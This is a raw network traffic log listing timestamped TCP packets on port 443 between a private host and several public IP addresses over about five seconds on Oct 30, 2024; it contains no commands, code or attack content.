Oct 30, 2024 06:16:14.541476011 CET	443	49736	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:14.541531086 CET	49736	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:14.541538954 CET	443	49736	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:14.541583061 CET	49736	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:14.542146921 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:14.542818069 CET	443	49736	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:14.544974089 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:14.544995070 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:14.546410084 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:14.546466112 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:14.547014952 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:14.547094107 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:14.547445059 CET	49736	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:14.547473907 CET	443	49736	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:14.547627926 CET	443	49736	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:14.547678947 CET	49736	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:14.547694921 CET	49736	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:14.547858000 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:14.547867060 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:14.595102072 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:14.600564957 CET	443	49738	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:14.600786924 CET	49738	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:14.600799084 CET	443	49738	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:14.604682922 CET	443	49738	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:14.604749918 CET	49738	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:14.605026960 CET	49738	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:14.605109930 CET	443	49738	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:14.605288029 CET	49738	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:14.605298042 CET	443	49738	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:14.657601118 CET	49738	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:14.729264021 CET	443	49739	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:14.729516029 CET	49739	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:14.729536057 CET	443	49739	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:14.733066082 CET	443	49739	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:14.733146906 CET	49739	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:14.733516932 CET	49739	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:14.733702898 CET	443	49739	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:14.782620907 CET	49739	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:14.782630920 CET	443	49739	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:14.829468012 CET	49739	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.042099953 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.042150021 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.042181015 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.042232037 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.042254925 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.042275906 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.042288065 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.042319059 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.042355061 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.042367935 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.042375088 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.042416096 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.042417049 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.042431116 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.042481899 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.042864084 CET	443	49738	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.043198109 CET	443	49738	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.043256998 CET	49738	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.044342041 CET	49738	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.044359922 CET	443	49738	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.048197985 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.048372984 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.048405886 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.048440933 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.048449039 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.048837900 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.048876047 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.048892975 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.048901081 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.048911095 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.049820900 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.049859047 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.049895048 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.049906015 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.049913883 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.049936056 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.049968958 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.050010920 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.050018072 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.050801992 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.050843954 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.050848007 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.050856113 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.050899982 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.050906897 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.051812887 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.054462910 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.054471970 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.064608097 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.064949036 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.064982891 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.065015078 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.065027952 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.065040112 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.065048933 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.065079927 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.065346003 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.069356918 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.069392920 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.069418907 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.069427013 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.069438934 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.069451094 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.073112965 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.073754072 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.073761940 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.075781107 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.081172943 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.081185102 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.082545042 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.082612038 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.082619905 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.088562965 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.093177080 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.093187094 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.094631910 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.094695091 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.094703913 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.100826025 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.105175972 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.105187893 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.107038021 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.107101917 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.107110023 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.113007069 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.117165089 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.117172956 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.119020939 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.119076014 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.119083881 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.125013113 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.129093885 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.129101992 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.131285906 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.132168055 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.132177114 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.137213945 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.141165972 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.141180038 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.143332958 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.143392086 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.143399954 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.183269024 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.183304071 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.183346033 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.183374882 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.183391094 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.183403969 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.183408976 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.183443069 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.183640003 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.185060024 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.185110092 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.185120106 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.186650038 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.186846972 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.186855078 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.189888000 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.190784931 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.190846920 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.190855026 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.192173004 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.193295002 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.200131893 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.201159954 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.201169014 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.206283092 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.206413984 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.206476927 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.206485987 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.207180023 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.211905956 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.212034941 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.212083101 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.212095976 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.218486071 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.219204903 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.219218016 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.225943089 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.228183985 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.228193045 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.230640888 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.230674028 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.230704069 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.230714083 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.231183052 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.236759901 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.242741108 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.243206024 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.243213892 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.248454094 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.248492002 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.248528957 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.248543024 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.249170065 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.249176979 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.252167940 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:15.252216101 CET	443	49737	142.250.185.100	192.168.2.4
Oct 30, 2024 06:16:15.252285004 CET	49737	443	192.168.2.4	142.250.185.100
Oct 30, 2024 06:16:17.241940022 CET	49745	443	192.168.2.4	184.28.90.27
Oct 30, 2024 06:16:17.242026091 CET	443	49745	184.28.90.27	192.168.2.4
Oct 30, 2024 06:16:17.242168903 CET	49745	443	192.168.2.4	184.28.90.27
Oct 30, 2024 06:16:17.243992090 CET	49745	443	192.168.2.4	184.28.90.27
Oct 30, 2024 06:16:17.244014978 CET	443	49745	184.28.90.27	192.168.2.4
Oct 30, 2024 06:16:17.780385017 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:17.780481100 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:17.780581951 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:17.780771971 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:17.780808926 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:18.205271959 CET	49748	443	192.168.2.4	20.12.23.50
Oct 30, 2024 06:16:18.205313921 CET	443	49748	20.12.23.50	192.168.2.4
Oct 30, 2024 06:16:18.205393076 CET	49748	443	192.168.2.4	20.12.23.50
Oct 30, 2024 06:16:18.206372976 CET	443	49745	184.28.90.27	192.168.2.4
Oct 30, 2024 06:16:18.206598043 CET	49745	443	192.168.2.4	184.28.90.27
Oct 30, 2024 06:16:18.206682920 CET	49748	443	192.168.2.4	20.12.23.50
Oct 30, 2024 06:16:18.206698895 CET	443	49748	20.12.23.50	192.168.2.4
Oct 30, 2024 06:16:18.210506916 CET	49745	443	192.168.2.4	184.28.90.27
Oct 30, 2024 06:16:18.210521936 CET	443	49745	184.28.90.27	192.168.2.4
Oct 30, 2024 06:16:18.210917950 CET	443	49745	184.28.90.27	192.168.2.4
Oct 30, 2024 06:16:18.252896070 CET	49745	443	192.168.2.4	184.28.90.27
Oct 30, 2024 06:16:18.295357943 CET	443	49745	184.28.90.27	192.168.2.4
Oct 30, 2024 06:16:18.502414942 CET	443	49745	184.28.90.27	192.168.2.4
Oct 30, 2024 06:16:18.502480984 CET	443	49745	184.28.90.27	192.168.2.4
Oct 30, 2024 06:16:18.502605915 CET	49745	443	192.168.2.4	184.28.90.27
Oct 30, 2024 06:16:18.502629042 CET	443	49745	184.28.90.27	192.168.2.4
Oct 30, 2024 06:16:18.502651930 CET	49745	443	192.168.2.4	184.28.90.27
Oct 30, 2024 06:16:18.502651930 CET	49745	443	192.168.2.4	184.28.90.27
Oct 30, 2024 06:16:18.502661943 CET	443	49745	184.28.90.27	192.168.2.4
Oct 30, 2024 06:16:18.502671003 CET	443	49745	184.28.90.27	192.168.2.4
Oct 30, 2024 06:16:18.535504103 CET	49749	443	192.168.2.4	184.28.90.27
Oct 30, 2024 06:16:18.535541058 CET	443	49749	184.28.90.27	192.168.2.4
Oct 30, 2024 06:16:18.535624027 CET	49749	443	192.168.2.4	184.28.90.27
Oct 30, 2024 06:16:18.535932064 CET	49749	443	192.168.2.4	184.28.90.27
Oct 30, 2024 06:16:18.535948038 CET	443	49749	184.28.90.27	192.168.2.4
Oct 30, 2024 06:16:18.641025066 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:18.650156021 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:18.650211096 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:18.654000044 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:18.654072046 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:18.671755075 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:18.671932936 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:18.671957016 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:18.715358019 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:18.718513966 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:18.718532085 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:18.765431881 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:18.777864933 CET	49751	443	192.168.2.4	142.250.185.110
Oct 30, 2024 06:16:18.777894020 CET	443	49751	142.250.185.110	192.168.2.4
Oct 30, 2024 06:16:18.777950048 CET	49751	443	192.168.2.4	142.250.185.110
Oct 30, 2024 06:16:18.778135061 CET	49751	443	192.168.2.4	142.250.185.110
Oct 30, 2024 06:16:18.778148890 CET	443	49751	142.250.185.110	192.168.2.4
Oct 30, 2024 06:16:18.925692081 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:18.925843000 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:18.925934076 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:18.926002979 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:18.926032066 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:18.926093102 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:18.926145077 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:18.926282883 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:18.926361084 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:18.926373959 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:18.954194069 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:18.954277039 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:18.954386950 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:18.954402924 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:18.954454899 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.042515039 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.042674065 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.042778015 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.042798042 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.045799017 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.045872927 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.045886040 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.060172081 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.060235023 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.060251951 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.060395956 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.060452938 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.060463905 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.104337931 CET	443	49748	20.12.23.50	192.168.2.4
Oct 30, 2024 06:16:19.104415894 CET	49748	443	192.168.2.4	20.12.23.50
Oct 30, 2024 06:16:19.107764959 CET	49748	443	192.168.2.4	20.12.23.50
Oct 30, 2024 06:16:19.107781887 CET	443	49748	20.12.23.50	192.168.2.4
Oct 30, 2024 06:16:19.108119965 CET	443	49748	20.12.23.50	192.168.2.4
Oct 30, 2024 06:16:19.110048056 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.110068083 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.156933069 CET	49748	443	192.168.2.4	20.12.23.50
Oct 30, 2024 06:16:19.156940937 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.159482956 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.162785053 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.162856102 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.162868977 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.166013002 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.166074038 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.166085958 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.177279949 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.177342892 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.177356958 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.177479029 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.177531958 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.177541971 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.219433069 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.219449043 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.227852106 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.228024960 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.228053093 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.278429031 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.278584957 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.278604031 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.279926062 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.279975891 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.279989004 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.294395924 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.294460058 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.294476986 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.294620991 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.294728994 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.294776917 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.294792891 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.294846058 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.344973087 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.389046907 CET	443	49749	184.28.90.27	192.168.2.4
Oct 30, 2024 06:16:19.389127016 CET	49749	443	192.168.2.4	184.28.90.27
Oct 30, 2024 06:16:19.390424967 CET	49749	443	192.168.2.4	184.28.90.27
Oct 30, 2024 06:16:19.390434027 CET	443	49749	184.28.90.27	192.168.2.4
Oct 30, 2024 06:16:19.391329050 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.391347885 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.391560078 CET	443	49749	184.28.90.27	192.168.2.4
Oct 30, 2024 06:16:19.393014908 CET	49749	443	192.168.2.4	184.28.90.27
Oct 30, 2024 06:16:19.395603895 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.395669937 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.395683050 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.397053003 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.397102118 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.397114038 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.411751986 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.411808968 CET	49747	443	192.168.2.4	142.250.186.110
Oct 30, 2024 06:16:19.411820889 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.411940098 CET	443	49747	142.250.186.110	192.168.2.4
Oct 30, 2024 06:16:19.412024021 CET	443	49747	142.250.186.110	192.168.2.4
